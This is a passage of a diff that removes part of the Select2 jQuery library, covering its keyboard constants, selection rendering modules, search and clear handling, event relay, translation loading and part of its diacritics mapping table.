$(container).append(content); - } - }; - - return Results; -}); - -S2.define('select2/keys',[ - -], function () { - var KEYS = { - BACKSPACE: 8, - TAB: 9, - ENTER: 13, - SHIFT: 16, - CTRL: 17, - ALT: 18, - ESC: 27, - SPACE: 32, - PAGE_UP: 33, - PAGE_DOWN: 34, - END: 35, - HOME: 36, - LEFT: 37, - UP: 38, - RIGHT: 39, - DOWN: 40, - DELETE: 46 - }; - - return KEYS; -}); - -S2.define('select2/selection/base',[ - 'jquery', - '../utils', - '../keys' -], function ($, Utils, KEYS) { - function BaseSelection ($element, options) { - this.$element = $element; - this.options = options; - - BaseSelection.__super__.constructor.call(this); - } - - Utils.Extend(BaseSelection, Utils.Observable); - - BaseSelection.prototype.render = function () { - var $selection = $( - '<span class="select2-selection" role="combobox" ' + - ' aria-haspopup="true" aria-expanded="false">' + - '</span>' - ); - - this._tabindex = 0; - - if (Utils.GetData(this.$element[0], 'old-tabindex') != null) { - this._tabindex = Utils.GetData(this.$element[0], 'old-tabindex'); - } else if (this.$element.attr('tabindex') != null) { - this._tabindex = this.$element.attr('tabindex'); - } - - $selection.attr('title', this.$element.attr('title')); - $selection.attr('tabindex', this._tabindex); - $selection.attr('aria-disabled', 'false'); - - this.$selection = $selection; - - return $selection; - }; - - BaseSelection.prototype.bind = function (container, $container) { - var self = this; - - var resultsId = container.id + '-results'; - - this.container = container; - - this.$selection.on('focus', function (evt) { - self.trigger('focus', evt); - }); - - this.$selection.on('blur', function (evt) { - self._handleBlur(evt); - }); - - this.$selection.on('keydown', function (evt) { - self.trigger('keypress', evt); - - if (evt.which === KEYS.SPACE) { - evt.preventDefault(); - } - }); - - container.on('results:focus', function (params) { - self.$selection.attr('aria-activedescendant', params.data._resultId); - }); - - container.on('selection:update', function (params) { - self.update(params.data); - }); - - container.on('open', function () { - // When the dropdown is open, aria-expanded="true" - self.$selection.attr('aria-expanded', 'true'); - self.$selection.attr('aria-owns', resultsId); - - self._attachCloseHandler(container); - }); - - container.on('close', function () { - // When the dropdown is closed, aria-expanded="false" - self.$selection.attr('aria-expanded', 'false'); - self.$selection.removeAttr('aria-activedescendant'); - self.$selection.removeAttr('aria-owns'); - - self.$selection.trigger('focus'); - - self._detachCloseHandler(container); - }); - - container.on('enable', function () { - self.$selection.attr('tabindex', self._tabindex); - self.$selection.attr('aria-disabled', 'false'); - }); - - container.on('disable', function () { - self.$selection.attr('tabindex', '-1'); - self.$selection.attr('aria-disabled', 'true'); - }); - }; - - BaseSelection.prototype._handleBlur = function (evt) { - var self = this; - - // This needs to be delayed as the active element is the body when the tab - // key is pressed, possibly along with others. - window.setTimeout(function () { - // Don't trigger `blur` if the focus is still in the selection - if ( - (document.activeElement == self.$selection[0]) || - ($.contains(self.$selection[0], document.activeElement)) - ) { - return; - } - - self.trigger('blur', evt); - }, 1); - }; - - BaseSelection.prototype._attachCloseHandler = function (container) { - - $(document.body).on('mousedown.select2.' + container.id, function (e) { - var $target = $(e.target); - - var $select = $target.closest('.select2'); - - var $all = $('.select2.select2-container--open'); - - $all.each(function () { - if (this == $select[0]) { - return; - } - - var $element = Utils.GetData(this, 'element'); - - $element.select2('close'); - }); - }); - }; - - BaseSelection.prototype._detachCloseHandler = function (container) { - $(document.body).off('mousedown.select2.' + container.id); - }; - - BaseSelection.prototype.position = function ($selection, $container) { - var $selectionContainer = $container.find('.selection'); - $selectionContainer.append($selection); - }; - - BaseSelection.prototype.destroy = function () { - this._detachCloseHandler(this.container); - }; - - BaseSelection.prototype.update = function (data) { - throw new Error('The `update` method must be defined in child classes.'); - }; - - /** - * Helper method to abstract the "enabled" (not "disabled") state of this - * object. - * - * @return {true} if the instance is not disabled. - * @return {false} if the instance is disabled. - */ - BaseSelection.prototype.isEnabled = function () { - return !this.isDisabled(); - }; - - /** - * Helper method to abstract the "disabled" state of this object. - * - * @return {true} if the disabled option is true. - * @return {false} if the disabled option is false. - */ - BaseSelection.prototype.isDisabled = function () { - return this.options.get('disabled'); - }; - - return BaseSelection; -}); - -S2.define('select2/selection/single',[ - 'jquery', - './base', - '../utils', - '../keys' -], function ($, BaseSelection, Utils, KEYS) { - function SingleSelection () { - SingleSelection.__super__.constructor.apply(this, arguments); - } - - Utils.Extend(SingleSelection, BaseSelection); - - SingleSelection.prototype.render = function () { - var $selection = SingleSelection.__super__.render.call(this); - - $selection.addClass('select2-selection--single'); - - $selection.html( - '<span class="select2-selection__rendered"></span>' + - '<span class="select2-selection__arrow" role="presentation">' + - '<b role="presentation"></b>' + - '</span>' - ); - - return $selection; - }; - - SingleSelection.prototype.bind = function (container, $container) { - var self = this; - - SingleSelection.__super__.bind.apply(this, arguments); - - var id = container.id + '-container'; - - this.$selection.find('.select2-selection__rendered') - .attr('id', id) - .attr('role', 'textbox') - .attr('aria-readonly', 'true'); - this.$selection.attr('aria-labelledby', id); - - this.$selection.on('mousedown', function (evt) { - // Only respond to left clicks - if (evt.which !== 1) { - return; - } - - self.trigger('toggle', { - originalEvent: evt - }); - }); - - this.$selection.on('focus', function (evt) { - // User focuses on the container - }); - - this.$selection.on('blur', function (evt) { - // User exits the container - }); - - container.on('focus', function (evt) { - if (!container.isOpen()) { - self.$selection.trigger('focus'); - } - }); - }; - - SingleSelection.prototype.clear = function () { - var $rendered = this.$selection.find('.select2-selection__rendered'); - $rendered.empty(); - $rendered.removeAttr('title'); // clear tooltip on empty - }; - - SingleSelection.prototype.display = function (data, container) { - var template = this.options.get('templateSelection'); - var escapeMarkup = this.options.get('escapeMarkup'); - - return escapeMarkup(template(data, container)); - }; - - SingleSelection.prototype.selectionContainer = function () { - return $('<span></span>'); - }; - - SingleSelection.prototype.update = function (data) { - if (data.length === 0) { - this.clear(); - return; - } - - var selection = data[0]; - - var $rendered = this.$selection.find('.select2-selection__rendered'); - var formatted = this.display(selection, $rendered); - - $rendered.empty().append(formatted); - - var title = selection.title || selection.text; - - if (title) { - $rendered.attr('title', title); - } else { - $rendered.removeAttr('title'); - } - }; - - return SingleSelection; -}); - -S2.define('select2/selection/multiple',[ - 'jquery', - './base', - '../utils' -], function ($, BaseSelection, Utils) { - function MultipleSelection ($element, options) { - MultipleSelection.__super__.constructor.apply(this, arguments); - } - - Utils.Extend(MultipleSelection, BaseSelection); - - MultipleSelection.prototype.render = function () { - var $selection = MultipleSelection.__super__.render.call(this); - - $selection.addClass('select2-selection--multiple'); - - $selection.html( - '<ul class="select2-selection__rendered"></ul>' - ); - - return $selection; - }; - - MultipleSelection.prototype.bind = function (container, $container) { - var self = this; - - MultipleSelection.__super__.bind.apply(this, arguments); - - this.$selection.on('click', function (evt) { - self.trigger('toggle', { - originalEvent: evt - }); - }); - - this.$selection.on( - 'click', - '.select2-selection__choice__remove', - function (evt) { - // Ignore the event if it is disabled - if (self.isDisabled()) { - return; - } - - var $remove = $(this); - var $selection = $remove.parent(); - - var data = Utils.GetData($selection[0], 'data'); - - self.trigger('unselect', { - originalEvent: evt, - data: data - }); - } - ); - }; - - MultipleSelection.prototype.clear = function () { - var $rendered = this.$selection.find('.select2-selection__rendered'); - $rendered.empty(); - $rendered.removeAttr('title'); - }; - - MultipleSelection.prototype.display = function (data, container) { - var template = this.options.get('templateSelection'); - var escapeMarkup = this.options.get('escapeMarkup'); - - return escapeMarkup(template(data, container)); - }; - - MultipleSelection.prototype.selectionContainer = function () { - var $container = $( - '<li class="select2-selection__choice">' + - '<span class="select2-selection__choice__remove" role="presentation">' + - '×' + - '</span>' + - '</li>' - ); - - return $container; - }; - - MultipleSelection.prototype.update = function (data) { - this.clear(); - - if (data.length === 0) { - return; - } - - var $selections = []; - - for (var d = 0; d < data.length; d++) { - var selection = data[d]; - - var $selection = this.selectionContainer(); - var formatted = this.display(selection, $selection); - - $selection.append(formatted); - - var title = selection.title || selection.text; - - if (title) { - $selection.attr('title', title); - } - - Utils.StoreData($selection[0], 'data', selection); - - $selections.push($selection); - } - - var $rendered = this.$selection.find('.select2-selection__rendered'); - - Utils.appendMany($rendered, $selections); - }; - - return MultipleSelection; -}); - -S2.define('select2/selection/placeholder',[ - '../utils' -], function (Utils) { - function Placeholder (decorated, $element, options) { - this.placeholder = this.normalizePlaceholder(options.get('placeholder')); - - decorated.call(this, $element, options); - } - - Placeholder.prototype.normalizePlaceholder = function (_, placeholder) { - if (typeof placeholder === 'string') { - placeholder = { - id: '', - text: placeholder - }; - } - - return placeholder; - }; - - Placeholder.prototype.createPlaceholder = function (decorated, placeholder) { - var $placeholder = this.selectionContainer(); - - $placeholder.html(this.display(placeholder)); - $placeholder.addClass('select2-selection__placeholder') - .removeClass('select2-selection__choice'); - - return $placeholder; - }; - - Placeholder.prototype.update = function (decorated, data) { - var singlePlaceholder = ( - data.length == 1 && data[0].id != this.placeholder.id - ); - var multipleSelections = data.length > 1; - - if (multipleSelections || singlePlaceholder) { - return decorated.call(this, data); - } - - this.clear(); - - var $placeholder = this.createPlaceholder(this.placeholder); - - this.$selection.find('.select2-selection__rendered').append($placeholder); - }; - - return Placeholder; -}); - -S2.define('select2/selection/allowClear',[ - 'jquery', - '../keys', - '../utils' -], function ($, KEYS, Utils) { - function AllowClear () { } - - AllowClear.prototype.bind = function (decorated, container, $container) { - var self = this; - - decorated.call(this, container, $container); - - if (this.placeholder == null) { - if (this.options.get('debug') && window.console && console.error) { - console.error( - 'Select2: The `allowClear` option should be used in combination ' + - 'with the `placeholder` option.' - ); - } - } - - this.$selection.on('mousedown', '.select2-selection__clear', - function (evt) { - self._handleClear(evt); - }); - - container.on('keypress', function (evt) { - self._handleKeyboardClear(evt, container); - }); - }; - - AllowClear.prototype._handleClear = function (_, evt) { - // Ignore the event if it is disabled - if (this.isDisabled()) { - return; - } - - var $clear = this.$selection.find('.select2-selection__clear'); - - // Ignore the event if nothing has been selected - if ($clear.length === 0) { - return; - } - - evt.stopPropagation(); - - var data = Utils.GetData($clear[0], 'data'); - - var previousVal = this.$element.val(); - this.$element.val(this.placeholder.id); - - var unselectData = { - data: data - }; - this.trigger('clear', unselectData); - if (unselectData.prevented) { - this.$element.val(previousVal); - return; - } - - for (var d = 0; d < data.length; d++) { - unselectData = { - data: data[d] - }; - - // Trigger the `unselect` event, so people can prevent it from being - // cleared. - this.trigger('unselect', unselectData); - - // If the event was prevented, don't clear it out. - if (unselectData.prevented) { - this.$element.val(previousVal); - return; - } - } - - this.$element.trigger('input').trigger('change'); - - this.trigger('toggle', {}); - }; - - AllowClear.prototype._handleKeyboardClear = function (_, evt, container) { - if (container.isOpen()) { - return; - } - - if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) { - this._handleClear(evt); - } - }; - - AllowClear.prototype.update = function (decorated, data) { - decorated.call(this, data); - - if (this.$selection.find('.select2-selection__placeholder').length > 0 || - data.length === 0) { - return; - } - - var removeAll = this.options.get('translations').get('removeAllItems'); - - var $remove = $( - '<span class="select2-selection__clear" title="' + removeAll() +'">' + - '×' + - '</span>' - ); - Utils.StoreData($remove[0], 'data', data); - - this.$selection.find('.select2-selection__rendered').prepend($remove); - }; - - return AllowClear; -}); - -S2.define('select2/selection/search',[ - 'jquery', - '../utils', - '../keys' -], function ($, Utils, KEYS) { - function Search (decorated, $element, options) { - decorated.call(this, $element, options); - } - - Search.prototype.render = function (decorated) { - var $search = $( - '<li class="select2-search select2-search--inline">' + - '<input class="select2-search__field" type="search" tabindex="-1"' + - ' autocomplete="off" autocorrect="off" autocapitalize="none"' + - ' spellcheck="false" role="searchbox" aria-autocomplete="list" />' + - '</li>' - ); - - this.$searchContainer = $search; - this.$search = $search.find('input'); - - var $rendered = decorated.call(this); - - this._transferTabIndex(); - - return $rendered; - }; - - Search.prototype.bind = function (decorated, container, $container) { - var self = this; - - var resultsId = container.id + '-results'; - - decorated.call(this, container, $container); - - container.on('open', function () { - self.$search.attr('aria-controls', resultsId); - self.$search.trigger('focus'); - }); - - container.on('close', function () { - self.$search.val(''); - self.$search.removeAttr('aria-controls'); - self.$search.removeAttr('aria-activedescendant'); - self.$search.trigger('focus'); - }); - - container.on('enable', function () { - self.$search.prop('disabled', false); - - self._transferTabIndex(); - }); - - container.on('disable', function () { - self.$search.prop('disabled', true); - }); - - container.on('focus', function (evt) { - self.$search.trigger('focus'); - }); - - container.on('results:focus', function (params) { - if (params.data._resultId) { - self.$search.attr('aria-activedescendant', params.data._resultId); - } else { - self.$search.removeAttr('aria-activedescendant'); - } - }); - - this.$selection.on('focusin', '.select2-search--inline', function (evt) { - self.trigger('focus', evt); - }); - - this.$selection.on('focusout', '.select2-search--inline', function (evt) { - self._handleBlur(evt); - }); - - this.$selection.on('keydown', '.select2-search--inline', function (evt) { - evt.stopPropagation(); - - self.trigger('keypress', evt); - - self._keyUpPrevented = evt.isDefaultPrevented(); - - var key = evt.which; - - if (key === KEYS.BACKSPACE && self.$search.val() === '') { - var $previousChoice = self.$searchContainer - .prev('.select2-selection__choice'); - - if ($previousChoice.length > 0) { - var item = Utils.GetData($previousChoice[0], 'data'); - - self.searchRemoveChoice(item); - - evt.preventDefault(); - } - } - }); - - this.$selection.on('click', '.select2-search--inline', function (evt) { - if (self.$search.val()) { - evt.stopPropagation(); - } - }); - - // Try to detect the IE version should the `documentMode` property that - // is stored on the document. This is only implemented in IE and is - // slightly cleaner than doing a user agent check. - // This property is not available in Edge, but Edge also doesn't have - // this bug. - var msie = document.documentMode; - var disableInputEvents = msie && msie <= 11; - - // Workaround for browsers which do not support the `input` event - // This will prevent double-triggering of events for browsers which support - // both the `keyup` and `input` events. - this.$selection.on( - 'input.searchcheck', - '.select2-search--inline', - function (evt) { - // IE will trigger the `input` event when a placeholder is used on a - // search box. To get around this issue, we are forced to ignore all - // `input` events in IE and keep using `keyup`. - if (disableInputEvents) { - self.$selection.off('input.search input.searchcheck'); - return; - } - - // Unbind the duplicated `keyup` event - self.$selection.off('keyup.search'); - } - ); - - this.$selection.on( - 'keyup.search input.search', - '.select2-search--inline', - function (evt) { - // IE will trigger the `input` event when a placeholder is used on a - // search box. To get around this issue, we are forced to ignore all - // `input` events in IE and keep using `keyup`. - if (disableInputEvents && evt.type === 'input') { - self.$selection.off('input.search input.searchcheck'); - return; - } - - var key = evt.which; - - // We can freely ignore events from modifier keys - if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) { - return; - } - - // Tabbing will be handled during the `keydown` phase - if (key == KEYS.TAB) { - return; - } - - self.handleSearch(evt); - } - ); - }; - - /** - * This method will transfer the tabindex attribute from the rendered - * selection to the search box. This allows for the search box to be used as - * the primary focus instead of the selection container. - * - * @private - */ - Search.prototype._transferTabIndex = function (decorated) { - this.$search.attr('tabindex', this.$selection.attr('tabindex')); - this.$selection.attr('tabindex', '-1'); - }; - - Search.prototype.createPlaceholder = function (decorated, placeholder) { - this.$search.attr('placeholder', placeholder.text); - }; - - Search.prototype.update = function (decorated, data) { - var searchHadFocus = this.$search[0] == document.activeElement; - - this.$search.attr('placeholder', ''); - - decorated.call(this, data); - - this.$selection.find('.select2-selection__rendered') - .append(this.$searchContainer); - - this.resizeSearch(); - if (searchHadFocus) { - this.$search.trigger('focus'); - } - }; - - Search.prototype.handleSearch = function () { - this.resizeSearch(); - - if (!this._keyUpPrevented) { - var input = this.$search.val(); - - this.trigger('query', { - term: input - }); - } - - this._keyUpPrevented = false; - }; - - Search.prototype.searchRemoveChoice = function (decorated, item) { - this.trigger('unselect', { - data: item - }); - - this.$search.val(item.text); - this.handleSearch(); - }; - - Search.prototype.resizeSearch = function () { - this.$search.css('width', '25px'); - - var width = ''; - - if (this.$search.attr('placeholder') !== '') { - width = this.$selection.find('.select2-selection__rendered').width(); - } else { - var minimumWidth = this.$search.val().length + 1; - - width = (minimumWidth * 0.75) + 'em'; - } - - this.$search.css('width', width); - }; - - return Search; -}); - -S2.define('select2/selection/eventRelay',[ - 'jquery' -], function ($) { - function EventRelay () { } - - EventRelay.prototype.bind = function (decorated, container, $container) { - var self = this; - var relayEvents = [ - 'open', 'opening', - 'close', 'closing', - 'select', 'selecting', - 'unselect', 'unselecting', - 'clear', 'clearing' - ]; - - var preventableEvents = [ - 'opening', 'closing', 'selecting', 'unselecting', 'clearing' - ]; - - decorated.call(this, container, $container); - - container.on('*', function (name, params) { - // Ignore events that should not be relayed - if ($.inArray(name, relayEvents) === -1) { - return; - } - - // The parameters should always be an object - params = params || {}; - - // Generate the jQuery event for the Select2 event - var evt = $.Event('select2:' + name, { - params: params - }); - - self.$element.trigger(evt); - - // Only handle preventable events if it was one - if ($.inArray(name, preventableEvents) === -1) { - return; - } - - params.prevented = evt.isDefaultPrevented(); - }); - }; - - return EventRelay; -}); - -S2.define('select2/translation',[ - 'jquery', - 'require' -], function ($, require) { - function Translation (dict) { - this.dict = dict || {}; - } - - Translation.prototype.all = function () { - return this.dict; - }; - - Translation.prototype.get = function (key) { - return this.dict[key]; - }; - - Translation.prototype.extend = function (translation) { - this.dict = $.extend({}, translation.all(), this.dict); - }; - - // Static functions - - Translation._cache = {}; - - Translation.loadPath = function (path) { - if (!(path in Translation._cache)) { - var translations = require(path); - - Translation._cache[path] = translations; - } - - return new Translation(Translation._cache[path]); - }; - - return Translation; -}); - -S2.define('select2/diacritics',[ - -], function () { - var diacritics = { - '\u24B6': 'A', - '\uFF21': 'A', - '\u00C0': 'A', - '\u00C1': 'A', - '\u00C2': 'A', - '\u1EA6': 'A', - '\u1EA4': 'A', - '\u1EAA': 'A', - '\u1EA8': 'A', - '\u00C3': 'A', - '\u0100': 'A', - '\u0102': 'A', - '\u1EB0': 'A', - '\u1EAE': 'A', - '\u1EB4': 'A', - '\u1EB2': 'A', - '\u0226': 'A', - '\u01E0': 'A', - '\u00C4': 'A', - '\u01DE': 'A', - '\u1EA2': 'A', - '\u00C5': 'A', - '\u01FA': 'A', - '\u01CD': 'A', - '\u0200': 'A', - '\u0202': 'A', - '\u1EA0': 'A', - '\u1EAC': 'A', - '\u1EB6': 'A', - '\u1E00': 'A', - '\u0104': 'A', - '\u023A': 'A', - '\u2C6F': 'A', - '\uA732': 'AA', - '\u00C6': 'AE', - '\u01FC': 'AE', - '\u01E2': 'AE', - '\uA734': 'AO', - '\uA736': 'AU', - '\uA738': 'AV', - '\uA73A': 'AV', - '\uA73C': 'AY', - '\u24B7': 'B', - '\uFF22': 'B', - '\u1E02': 'B', - '\u1E04': 'B', - '\u1E06': 'B', - '\u0243': 'B', - '\u0182': 'B', - '\u0181': 'B', - '\u24B8': 'C', - '\uFF23': 'C', - '\u0106': 'C', - '\u0108': 'C', - '\u010A': 'C', - '\u010C': 'C', - '\u00C7': 'C', - '\u1E08': 'C', - '\u0187': 'C', - '\u023B': 'C', - '\uA73E': 'C', - '\u24B9': 'D', - '\uFF24': 'D', - '\u1E0A': 'D', - '\u010E': 'D', - '\u1E0C': 'D', - '\u1E10': 'D', - '\u1E12': 'D', - '\u1E0E': 'D', - '\u0110': 'D', - '\u018B': 'D', - '\u018A': 'D', - '\u0189': 'D', - '\uA779': 'D', - '\u01F1': 'DZ', - '\u01C4': 'DZ', - '\u01F2': 'Dz', - '\u01C5': 'Dz', - '\u24BA': 'E', - '\uFF25': 'E', - '\u00C8': 'E', - '\u00C9': 'E', - '\u00CA': 'E', - '\u1EC0': 'E', - '\u1EBE': 'E', - '\u1EC4': 'E', - '\u1EC2': 'E', - '\u1EBC': 'E', - '\u0112': 'E', - '\u1E14': 'E', - '\u1E16': 'E', - '\u0114': 'E', - '\u0116': 'E', - '\u00CB': 'E', - '\u1EBA': 'E', - '\u011A': 'E', - '\u0204': 'E', - '\u0206': 'E', - '\u1EB8': 'E', - '\u1EC6': 'E', - '\u0228': 'E', - '\u1E1C': 'E', - '\u0118': 'E', - '\u1E18': 'E', - '\u1E1A': 'E', - '\u0190': 'E', - '\u018E': 'E', - '\u24BB': 'F', - '\uFF26': 'F', - '\u1E1E': 'F', - '\u0191': 'F', - '\uA77B': 'F', - '\u24BC': 'G', - '\uFF27': 'G', - '\u01F4': 'G', - '\u011C': 'G', - '\u1E20': 'G', - '\u011E': 'G', - '\u0120': 'G', - '\u01E6': 'G', - '\u0122': 'G', - '\u01E4': 'G', - '\u0193': 'G', - '\uA7A0': 'G', - '\uA77D': 'G', - '\uA77E': 'G', - '\u24BD': 'H', - '\uFF28': 'H', - '\u0124': 'H', - '\u1E22': 'H', - '\u1E26': 'H', - '\u021E': 'H', - '\u1E24': 'H', - '\u1E28': 'H', - '\u1E2A': 'H', - '\u0126': 'H', - '\u2C67': 'H', - '\u2C75': 'H', - '\uA78D': 'H', - '\u24BE': 'I', - '\uFF29': 'I', - '\u00CC': 'I', - '\u00CD': 'I', - '\u00CE': 'I', - '\u0128': 'I', - '\u012A': 'I', - '\u012C': 'I', - '\u0130': 'I', - '\u00CF': 'I', - '\u1E2E': 'I', - '\u1EC8': 'I', - '\u01CF': 'I', - '\u0208': 'I', - '\u020A': 'I', - '\u1ECA': 'I', - '\u012E': 'I', - '\u1E2C': 'I', - '\u0197': 'I', - '\u24BF': 'J', - '\uFF2A': 'J', - '\u0134': 'J', - '\u0248': 'J', - '\u24C0': 'K', - '\uFF2B': 'K', - '\u1E30': 'K', - '\u01E8': 'K', - '\u1E32': 'K', - '\u0136': 'K', - '\u1E34': 'K', - '\u0198': 'K', - '\u2C69': 'K', - '\uA740': 'K', - '\uA742': 'K', - '\uA744': 'K', - '\uA7A2': 'K', - '\u24C1': 'L', - '\uFF2C': 'L', - '\u013F': 'L', - '\u0139': 'L', - '\u013D': 'L', - '\u1E36': 'L', - '\u1E38': 'L', - '\u013B': 'L', - '\u1E3C': 'L', - '\u1E3A': 'L', - '\u0141': 'L', - '\u023D': 'L', - '\u2C62': 'L', - '\u2C60': 'L', - '\uA748': 'L', - '\uA746': 'L', - '\uA780': 'L', - '\u01C7': 'LJ', - '\u01C8': 'Lj', - '\u24C2': 'M', - '\uFF2D': 'M', - '\u1E3E': 'M', - '\u1E40': 'M', - '\u1E42': 'M', - '\u2C6E': 'M', - '\u019C': 'M', - '\u24C3': 'N', - '\uFF2E': 'N', - '\u01F8': 'N', - '\u0143': 'N', - '\u00D1': 'N', - '\u1E44': 'N', - '\u0147': 'N', - '\u1E46': 'N', - '\u0145': 'N', - '\u1E4A': 'N', - '\u1E48': 'N', - '\u0220': 'N', - '\u019D': 'N', - '\uA790': 'N', - '\uA7A4': 'N', - '\u01CA': 'NJ', - '\u01CB': 'Nj', - '\u24C4': 'O', - '\uFF2F': 'O', - '\u00D2': 'O', - '\u00D3': 'O', - '\u00D4': 'O', - '\u1ED2': 'O', - '\u1ED0': 'O', - '\u1ED6': 'O', - '\u1ED4': 'O', - '\u00D5': 'O', - '\u1E4C': 'O', - '\u022C': 'O', - '\u1E4E': 'O', - '\u014C': 'O', - '\u1E50': 'O', - '\u1E52': 'O', - '\u014E': 'O', - '\u022E': 'O', - '\u0230': 'O', - '\u00D6': 'O', - '\u022A': 'O', - '\u1ECE': 'O', - '\u0150': 'O', - '\u01D1': 'O', - '\u020C': 'O', - '\u020E': 'O', - '\u01A0': 'O', - '\u1EDC': 'O', - '\u1EDA': 'O', - '\u1EE0': 'O', - '\u1EDE': 'O', - '\u1EE2': 'O', - '\u1ECC': 'O', - '\u1ED8': 'O', - '\u01EA': 'O', - '\u01EC': 'O', - '\u00D8': 'O', - '\u01FE': 'O', - '\u0186': 'O', - '\u019F': 'O', - '\uA74A': 'O', - '\uA74C': 'O', - '\u0152': 'OE', - '\u01A2': 'OI', - '\uA74E': 'OO', - '\u0222': 'OU', - '\u24C5': 'P', - '\uFF30': 'P', - '\u1E54': 'P', - '\u1E56': 'P', - '\u01A4': 'P', - '\u2C63': 'P', - '\uA750': 'P', - '\uA752': 'P', - '\uA754': 'P', - '\u24C6': 'Q', - '\uFF31': 'Q', - '\uA756': 'Q', - '\uA758': 'Q', - '\u024A': 'Q', - '\u24C7': 'R', - '\uFF32': 'R', - '\u0154': 'R', - '\u1E58': 'R', - '\u0158': 'R', - '\u0210': 'R', - '\u0212': 'R', - '\u1E5A': 'R', - '\u1E5C': 'R', - '\u0156': 'R', - '\u1E5E': 'R', - '\u024C': 'R', - '\u2C64': 'R', - '\uA75A': 'R', - '\uA7A6': 'R', - '\uA782': 'R', - '\u24C8': 'S', - '\uFF33': 'S', - '\u1E9E': 'S', - '\u015A': 'S', - '\u1E64': 'S', - '\u015C': 'S', - '\u1E60': 'S', - '\u0160': 'S', - '\u1E66': 'S', - '\u1E62': 'S', - '\u1E68': 'S', - '\u0218': 'S', - '\u015E': 'S', - '\u2C7E': 'S', - '\uA7A8': 'S', - '\uA784': 'S', - '\u24C9': 'T', - '\uFF34': 'T', - '\u1E6A': 'T', - '\u0164': 'T', - '\u1E6C': 'T', - '\u021A': 'T', - '\u0162': 'T', - '\u1E70': 'T', - '\u1E6E': 'T', - '\u0166': 'T', - '\u01AC': 'T', - '\u01AE': 'T', - '\u023E': 'T', - '\uA786': 'T', - '\uA728': 'TZ', - '\u24CA': 'U', - '\uFF35': 'U', - '\u00D9': 'U', - '\u00DA': 'U', - '\u00DB': 'U', - '\u0168': 'U', - '\u1E78': 'U', - '\u016A': 'U', - '\u1E7A': 'U', - '\u016C': 'U', - '\u00DC': 'U', - '\u01DB': 'U', - '\u01D7': 'U', - '\u01D5': 'U', - '\u01D9': 'U', - '\u1EE6': 'U', - '\u016E': 'U', - '\u0170': 'U', - '\u01D3': 'U', - '\u0214': 'U', - '\u0216': 'U', - '\u01AF': 'U', - '\u1EEA': 'U', - '\u1EE8': 'U', - '\u1EEE': 'U', - '\u1EEC': 'U', - '\u1EF0': 'U', - '\u1EE4': 'U', - '\u1E72': 'U', - '\u0172': 'U', - '\u1E76': 'U', - '\u1E74': 'U', - '\u0244': 'U', - '\u24CB': 'V', - '\uFF36': 'V', - '\u1E7C': 'V', - '\u1E7E': 'V', - '\u01B2': 'V', - '\uA75E': 'V', - '\u0245': 'V', - '\uA760': 'VY', - '\u24CC': 'W', - '\uFF37': 'W', - '\u1E80': 'W', - '\u1E82': 'W', - '\u0174': 'W', - '\u1E86': 'W', - '\u1E84': 'W', - '\u1E88': 'W', - '\u2C72': 'W', - '\u24CD': 'X', - '\uFF38': 'X', - '\u1E8A': 'X', - '\u1E8C': 'X', - '\u24CE': 'Y', - '\uFF39': 'Y', - '\u1EF2': 'Y', - '\u00DD': 'Y', - '\u0176': 'Y', - '\u1EF8': 'Y', - '\u0232': 'Y', - '\u1E8E': 'Y', - '\u0178': 'Y', - '\u1EF6': 'Y', - '\u1EF4': 'Y', - '\u01B3': 'Y', - '\u024E': 'Y', - '\u1EFE': 'Y', - '\u24CF': 'Z', - '\uFF3A': 'Z', - '\u0179': 'Z', - '\u1E90': 'Z', - '\u017B': 'Z', - '\u017D': 'Z', - '\u1E92': 'Z', - '\u1E94': 'Z', - '\u01B5': 'Z', - '\u0224': 'Z', - '\u2C7F': 'Z', - '\u2C6B': 'Z', - '\uA762': 'Z', - '\u24D0': 'a', - '\uFF41': 'a', - '\u1E9A': 'a', - '\u00E0': 'a', - '\u00E1': 'a', - '\u00E2': 'a', - '\u1EA7': 'a', - '\u1EA5': 'a', - '\u1EAB': 'a', - '\u1EA9': 'a', - '\u00E3': 'a', - '\u0101': 'a', - '\u0103': 'a', - '\u1EB1': 'a', - '\u1EAF': 'a', - '\u1EB5': 'a', - '\u1EB3': 'a', - '\u0227': 'a', - '\u01E1': 'a', - '\u00E4': 'a', - '\u01DF': 'a', - '\u1EA3': 'a', - '\u00E5': 'a', - '\u01FB': 'a', - '\u01CE': 'a', - '\u0201': 'a', - '\u0203': 'a', - '\u1EA1': 'a', - '\u1EAD': 'a', - '\u1EB7': 'a', - '\u1E01': 'a', - '\u0105': 'a', - '\u2C65': 'a', - '\u0250': 'a', - '\uA733': 'aa', - '\u00E6': 'ae', - '\u01FD': 'ae', - '\u01E3': 'ae', - '\uA735': 'ao', - '\uA737': 'au', - '\uA739': 'av', - '\uA73B': 'av', - '\uA73D': 'ay', - '\u24D1': 'b', - '\uFF42': 'b', - '\u1E03': 'b', - '\u1E05': 'b', - '\u1E07': 'b', - '\u0180': 'b', - '\u0183': 'b', - '\u0253': 'b', - '\u24D2': 'c', - '\uFF43': 'c', - '\u0107': 'c', - '\u0109': 'c', - '\u010B': 'c', - '\u010D': 'c', - '\u00E7': 'c', - '\u1E09': 'c', - '\u0188': 'c', - '\u023C': 'c', - '\uA73F': 'c', - '\u2184': 'c', - '\u24D3': 'd', - '\uFF44': 'd', - '\u1E0B': 'd', - '\u010F': 'd', - '\u1E0D': 'd', - '\u1E11': 'd', - '\u1E13': 'd', - '\u1E0F': 'd', - '\u0111': 'd', - '\u018C': 'd', - '\u0256': 'd', - '\u0257': 'd', - '\uA77A': 'd', - '\u01F3': 'dz', - '\u01C6': 'dz', - '\u24D4': 'e', - '\uFF45': 'e', - '\u00E8': 'e', - '\u00E9': 'e', - '\u00EA': 'e', - '\u1EC1': 'e', - '\u1EBF': 'e', - '\u1EC5': 'e', - '\u1EC3': 'e', - '\u1EBD': 'e', - '\u0113': 'e', - '\u1E15': 'e', - '\u1E17': 'e', - '\u0115': 'e', - '\u0117': 'e', - '\u00EB': 'e', - '\u1EBB': 'e', - '\u011B': 'e', - '\u0205': 'e', - '\u0207': 'e', - '\u1EB9': 'e', - '\u1EC7': 'e', - '\u0229': 'e', - '\u1E1D': 'e', - '\u0119': 'e', - '\u1E19': 'e', - '\u1E1B': 'e', - '\u0247': 'e', - '\u025B': 'e', - '\u01DD': 'e', - '\u24D5': 'f', - '\uFF46': 'f', - '\u1E1F': 'f', - '\u0192': 'f', - '\uA77C': 'f', - '\u24D6': 'g', - '\uFF47': 'g', - '\u01F5': 'g', - '\u011D': 'g', - '\u1E21': 'g', - '\u011F': 'g', - '\u0121': 'g', - 